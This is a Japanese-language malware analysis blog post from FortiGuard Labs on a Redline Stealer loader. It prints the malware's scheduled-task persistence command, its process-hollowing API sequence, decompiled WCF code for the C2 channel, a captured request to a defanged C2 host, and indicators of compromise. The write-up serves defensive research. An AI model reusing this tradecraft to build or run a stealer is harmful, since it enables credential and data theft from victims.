FortiGuard Labs 脅威リサーチ
FortiGuard Labsは先頃、不正なファイルが埋め込まれ、実際の攻撃に使用されたExcel文書をキャプチャしました。この埋め込みファイルは無作為なファイル名が付けられており、CVE-2017-11882の脆弱性を悪用して不正なコードを実行し、被害者のデバイスにマルウェアを配信して実行します。
ブログのパート1では、細工されたこのExcel文書がどのようにCVE-2017-11882を悪用し、そのときどのような振る舞いをするかを説明しました。関与していたWebサイト(hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/{file name})は、FormbookやRedlineなど多数のマルウェアファミリーのサンプルを保存 / 配信していたことが確認されています。ブログのパート1では、このWebサイトにある最近のFormbookサンプルを詳細に調査しました。たとえば、被害者のデバイスにFormbookがダウンロードされて展開される方法や、このFormbook亜種がどのようなC2サーバーを使用しているか、などを分析しました。
Redline(別名:Redline Stealerとも呼ばれる)は市販されているマルウェアファミリーで、感染したデバイスから保存済みの認証情報、オートコンプリートデータ、クレジットカード情報などの機密情報を収集することを目的としています。
影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー: Windowsユーザー
影響: 被害者のデバイスを制御して、機密情報を収集
深刻度: クリティカル
パート2では、上記と同じWebサイトから収集したRedlineサンプルの検証から始めます。このレポートでは、サンプルからRedlineペイロードが抽出される方法や、感染したデバイスでRedlineを永続化する方法、さらには、被害者のデバイスからどのような機密情報が盗まれ、どのようにしてC2サーバーに送信されるかを解説します。
私が選択したRedlineサンプルは、Redlineローダーである「hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe」です。このサンプルは、SmartAssembly 6.9.0.114と呼ばれる.NET難読化ツールによって難読化されています。.Netデバッガーを使用してこのサンプルを分析したところ、広範囲な難読化機能を備えていることがわかりました。たとえば名前(クラス名、関数名、変数名など)の難読化、制御フローの難読化、文字列のエンコード、宣言による難読化などです。
図1.1は、デバッガーで開いたサンプルを示しています。SmartAssemblyを使用して名前とエントリポイント関数(main()関数)が難読化されています。
de4dotを使用して難読化を解除すると、サンプルは図1.2のようによりわかりやすく簡潔になります。
Redlineサンプル(Redlineローダー)は起動時に5秒間スリープしたあと、「brfmdFiaha」という.Netリソースからデータブロックを読み込みます。このデータブロックは、図1.3のようにキー文字列「brfmdFiaha」を使ってPEファイルに復号されます。ローカル変数「byte_」は、復号されてメモリのサブタブに表示されるPEファイルを指しています。
復号されたPEファイルは、このRedline亜種のペイロードファイルです。このあと、Redlineは復号されたPEファイルのプロセスホローイングを実行します。
Redlineペイロードファイルをプロセスホローイングするために、下表のWindows APIが動的に読み込まれます。
delegate0_0.Method |
{Boolean Wow64GetThreadContext(IntPtr, Int32[])} |
delegate1_0.Method |
{Boolean GetThreadContext(IntPtr, Int32[])} |
delegate2_0.Method |
{Boolean ReadProcessMemory(IntPtr, Int32, Int32, Int32, Int32 ByRef)} |
delegate3_0.Method |
{Int32 VirtualAllocEx(IntPtr, IntPtr, UInt32, UInt32, UInt32)} |
delegate4_0.Method |
{Boolean WriteProcessMemory(IntPtr, Int32, Byte[], Int32, Int32 ByRef)} |
delegate5_0.Method |
{Boolean Wow64SetThreadContext(IntPtr, Int32[])} |
delegate6_0.Method |
{Boolean SetThreadContext(IntPtr, Int32[])} |
delegate7_0.Method |
{UInt32 ResumeThread(IntPtr)} |
delegate8_0.Method |
{Boolean CreateProcessAsUser(IntPtr, System.String, System.String, IntPtr, IntPtr, Boolean, UInt32, IntPtr, System.String, Struct1 ByRef, Struct0 ByRef)} System.Reflection.MethodInfo {System.Reflection.RuntimeMethodInfo} |
Redlineは、CreateFlagにCREATE_SUSPENDED (0x4)を指定してCreateProcessAsUser() APIを呼び出し、Redlineローダーの複製プロセスを休止状態で作成します。次に、VirtualAllocEx()を呼び出し、休止状態のプロセスにメモリ領域を割り当てます。続いて、WriteProcessMemory() APIを呼び出し、Redlineローダーからこのメモリ領域にRedlineペイロードファイル全体をコピーします。そのあと、Wow64GetThreadContext()またはGetThreadContext()、ReadProcessMemory()、WriteProcessMemory()、Wow64SetThreadContext()またはSetThreadContext()の各APIを呼び出し、新しく作成したプロセスに、コピーしたペイロードファイルを配置します。Redlineローダーのプロセスを終了する前に、ResumeThread() APIを呼び出し、コピーしたRedlineペイロードから休止状態のプロセスを再開します。
Redlineローダーは、被害者のデバイスでRedlineを永続化する機能も備えています。Formbookがシステムレジストリ内の自動実行グループに追加されるのに対し、Redlineではシステムのタスクスケジューラーが使用されます。
Redlineローダーは次のコマンドラインコマンドを呼び出します。
"cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\{user name}\AppData\Roaming\packtracer.exe'" /f
Redlineは、パラメーターを指定して「schtasks.exe」を実行し、「Nafdfnasia」という名前の新しいタスクアイテムを作成します。このタスクはタスクスケジューラーによって1分おきにトリガーされ、「packtracer.exe」というファイルを実行します。図2.1は、追加されたRedlineタスクのスクリーンショットです。
「packtracer.exe」ファイルが何であるか疑問に思う方もおられるでしょう。上記のコマンドラインコマンドの実行後、RedlineはDOS「コピー」コマンドを実行してRedlineローダー自身を複製し、「%AppData%/packtracer.exe」という名前で保存されていました。この名前は、Redlineローダー内のハードコードされた定数文字列です。
以上の処理が完了すると、Redlineペイロードを抽出 / 実行するRedlineローダーが、Windowsタスクスケジューラーによって1分おきに実行されます。
私はさらに分析を進めるため、メモリからRedlineペイロードファイルをダンプしました。これは.Netフレームワークベースのプログラムで、難読化は行われていません。コードを調べた結果、RedlineとC2サーバー間の通信がWCF(Windows Communication Foundation)サービスを利用して確立されていることがわかりました。WCFがクライアントとサーバー間にチャネルを構築し、そのチャネル上でデータが転送されます。チャネルはChannelFactoryクラスによってXML-SOAP(Simple Object Access Protocol)プロトコル内でシールされています。
このようなチャネルを作成するコードセグメントを次に示します。
ChannelFactory<IRemoteEndpoint> channelFactory = new ChannelFactory<IRemoteEndpoint>
(
SystemInfoHelper.CreateBind(),
new EndpointAddress("http://" + address + "/")
);
this.serviceInterfacce = channelFactory.CreateChannel();
ここは
RedlineとC2サーバー間の呼び出しおよび通信に使用されるIRemoteEndpointインタフェースとメソッドの定義を次に示します。「OperationContract」および「ServiceContract」属性は、WCFサービスフレームワークを使用することを示しています。メソッドが呼び出されると、XML-SOAPデータ内にあるそのメソッド名は、「OperationContract」属性で指定された名前に置換されます。
[ServiceContract(Name = "Endpoint")]
public interface IRemoteEndpoint
{
[OperationContract(Name = "CheckConnect")]
bool CheckConnect();
[OperationContract(Name = "EnvironmentSettings")]
ScanningArgs GetArguments();
[OperationContract(Name = "SetEnvironment")]
void VerifyScanRequest(ScanResult user);
[OperationContract(Name = "GetUpdates")]
IList<UpdateTask> GetUpdates(ScanResult user);
[OperationContract(Name = "VerifyUpdate")]
void VerifyUpdate(ScanResult user, int updateId);
}
CheckConnect()は、接続状態が正常かどうかを確認します。GetArguments()は、被害者のデバイスから盗み出すべき機密データをC2サーバーに問い合わせます。VerifyScanRequest()は、盗んだ情報をC2サーバーに送信します。GetUpdates()は、盗んだ情報を更新してC2サーバーに送信し、追加タスクをC2サーバーに問い合わせます。VerifyUpdate()は、GetUpdates()の呼び出しで要求されたタスクが完了したことをC2サーバーに通知します。
これらのメソッドを呼び出す実際のインスタンスを確認していきましょう。Redlineが「result = this.serviceInterfacce.CheckConnect();」を呼び出すとします。
要求パケットは次のとおりです。本文はSOAP内でシールされています。
POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
Host: sinmac[.]duckdns[.]org:2667
Content-Length: 137
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
応答パケットは次のとおりです。
HTTP/1.1 200 OK
Content-Length: 212
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Tue, 20 Sep 2022 18:45:28 GMT
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
パケットの本文を見ると、C2サーバーに実装されたメソッドの戻り値は「true」であり、XMLタグ「<CheckConnectResult>」に格納されています。
RedlineとC2サーバー間のすべてのパケットは、作成されたチャネルを介して同じ方法で転送されます。
次は、被害者の感染したデバイスからRedlineが機密情報を盗む方法を見ていきましょう。Redlineはリモートメソッド「GetArguments()」を呼び出し、C2サーバーが実行を指示したタスクを取得します。これにはスイッチフラグの設定が含まれており、標的とするソフトウェアからデータを窃取するかどうかや、被害者の個人データが保存されているWebブラウザのフォルダパスなどが指定されます。
図4.1はデバッガーのスクリーンショットで、変数「settings」の値が表示されています。GetArguments()メソッドを呼び出すと、C2サーバーからXML SOAPデーが返され、そのデータからこれらの値が取得されます。
Redlineは、「settings」変数に格納されたスイッチフラグとファイルパスの情報に基づいて、被害者のデバイスから機密情報を盗み出すための22個のローカルメソッドを設計しました。
調査の結果、Redlineは以下の場所から情報を収集できることがわかりました。
Chrome, Edge、Firefox、Opera、Waterfox、K-Meleon、IceDragon、Cyberfox、BlackHaw、Pale Moon、Iridium、7Star、ChromePlus、CentBrowser、Vivaldi、Chedot、Kometa、Elements Browser、Epic Privacy Browser、Sleipnir、Citrio、Coowon、liebao、QIP Surf、Dragon、Amigo、Torch、Yandex、Comodo、360Browser、Maxthon3、K-Melon、Sputnik、Nichrome、CocCoc、Chromodo、Brave-Browser、CryptoTab Browser、Chromiumプロジェクトで構築されたすべてのブラウザ
Mail.Ru and Thunderbird.
Battle.net, Steam, Discord, and Telegram.
Uran, ProtonVPN, FileZilla, OpenVPN, and NordVPN.
Armory Wallet、YoroiWallet Wallet、Coinomi Wallet、Electrum Wallet、Ethereum、Exodus、JaxxxLiberty Wallet、TronLink、Nifty Wallet、MetaMask、MathWallet、Coinbase、BinanceChain、BraveWallet、GuardaWallet、EqualWallet、JaxxxLiberty、BitAppWallet、iWallet、Wombat、AtomicWallet、MewCx、GuildWallet、SaturnWallet、RoninWalletなど
Redlineは上記のデフォルトソフトウェアクライアントから、保存された認証情報、オートフィル、クレジットカード情報、トークン、秘密鍵、クッキー、プロファイル、ログなど、被害者の個人情報を盗み出すことができます。ファイル名に「txt」、「doc」、「key」、「wallet」、または「seed」が含まれていれば、被害者の[デスクトップ]および[ドキュメント]フォルダからあらゆるファイルを取得することも可能です。
Redlineは機密情報だけでなく、被害者の画面のスクリーンショットや、感染したデバイスの基本システムやハードウェアの情報も収集します。これにはOSのバージョン、プロセッサ情報、グラフィックカード情報、モニター情報、RAMの総容量、パブリックIPアドレス、ロケーション、ユーザー名、デフォルト言語、タイムゾーン、インストールされているプログラムやウイルス対策ソフトウェア、アンチスパイウェア、有効なプロセスのリストなどが含まれます。
これはC2サーバーに送信されたSOAP内のパケットと窃取データのビューです。Redlineがリモートメソッド「this.serviceInterfacce.VerifyScanRequest(result);」を呼び出すと、このデータが送信されます。このとき、パラメーター「result」には、被害者のデバイスから窃取した上記のデータがすべて格納されます。VerifyScanRequest()のメソッド定義に従い、WCFではこのパラメーターに「SetEnvironment」という別の名前が付けられます。これ以降、このパケットでは図4.2のように「SetEnvironment」が使用されます。
私は調査を目的に、C2サーバープログラムをどうにか入手することができました。窃取した情報をRedlineシステムから受信すると、Redline C2サーバーは図5.1のように[Logs(ログ)]サブタブに1つのアイテムを表示し、攻撃者はサブタブのメニューからその窃取データを表示することができます。
C2サーバーは、各被害者の識別にHWIDを使用します。これは、被害者のドメイン名、ユーザー名、およびディスクドライブのシリアル番号で構成されるMD5ハッシュコードです。
図5.2は[Redline settings(Redline設定)]サブタブのスクリーンショットで、攻撃者が有効 / 無効にできる主要機能が表示されています。これらの機能を使用して、被害者のデバイスでスキャンするファイル、パス、フィルタを追加 / 削除することもできます。
コンテキストメニューの[System Info(システム情報)]をクリックすると、ポップアップウィンドウが開き、右側に窃取したシステム情報、左側にスクリーンショットが表示されます(図5.3)。
図5.4は、収集されたFTPクライアントの認証情報を示しています。これは、Redlineが私のテストマシンから盗み出したものです。
サーバー側のツールは、被害者から入手した情報を集約できる統計機能も備えています。
フォーティネットのお客様は、FortiGuardのWebフィルタリング、IPS、およびアンチウイルスサービスによって、以下のように保護されています。
ダウンロード用のURL、およびC2サーバーは、FortiGuard Webフィルタリングサービスによって「不正Webサイト」に分類されます。
FortiGuard CDR(コンテンツ無害化)サービスは、オリジナルのExcel文書に埋め込まれたファイルを無害化できます。
FortiGuard Labsは、アンチウイルスシグネチャ「MSIL/Redline.8B8C!tr」を使用してこのRedline亜種を検知します。
FortiGuardアンチウイルスサービスは、FortiGate、FortiMail、FortiClient、およびFortiEDRによってサポートされます。これらの各ソリューションには、Fortinetアンチウイルスエンジンが含まれています。したがって、これらの製品をお使いのお客様は最新の機能で保護されています。
FortiGuard Labsは、IPSシグネチャ「RedLine.Stealer.Botnet」でRedlineのトラフィックを検知します。
フォーティネットのデジタルリスク保護サービスであるFortiReconは、脅威アクターがダークウェブで販売し、ネットワークの侵害にも利用可能なスティーラー(Redlineなど)による認証情報の窃取を常時監視しています。FortiReconのトライアルにお申し込みいただくと、お客様のネットワークやデータへの差し迫った脅威を早期に警告する方法をご確認いただけます。
以下はFortiReconのスクリーンショットで、ダークウェブで販売されているRedlineによって窃取された情報が表示されています。FortiReconのお客様は、このRedlineの脅威について早い段階で警告を受け取ることができました。
フォーティネットが無償で提供するNSEトレーニング:NSE 1 – 情報セキュリティ意識向上も、是非ご利用いただくことをお勧めします。このトレーニングにはインターネットの脅威に関するモジュールが含まれ、エンドユーザーはフィッシング攻撃を識別して自身を防御する方法を学習できます。
hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe
“sinmac[.]duckdns[.]org:2267”
[GAT412-IFF22.xlsx]
D1EA94C241E00E8E59A7212F30A9117393F9E883D2B509E566505BC337C473E3
[Redline, almac.exe]
9D621005649A185E07D44EC7906530B8269DF0A84587DEB3AAC8707C5DD88B8C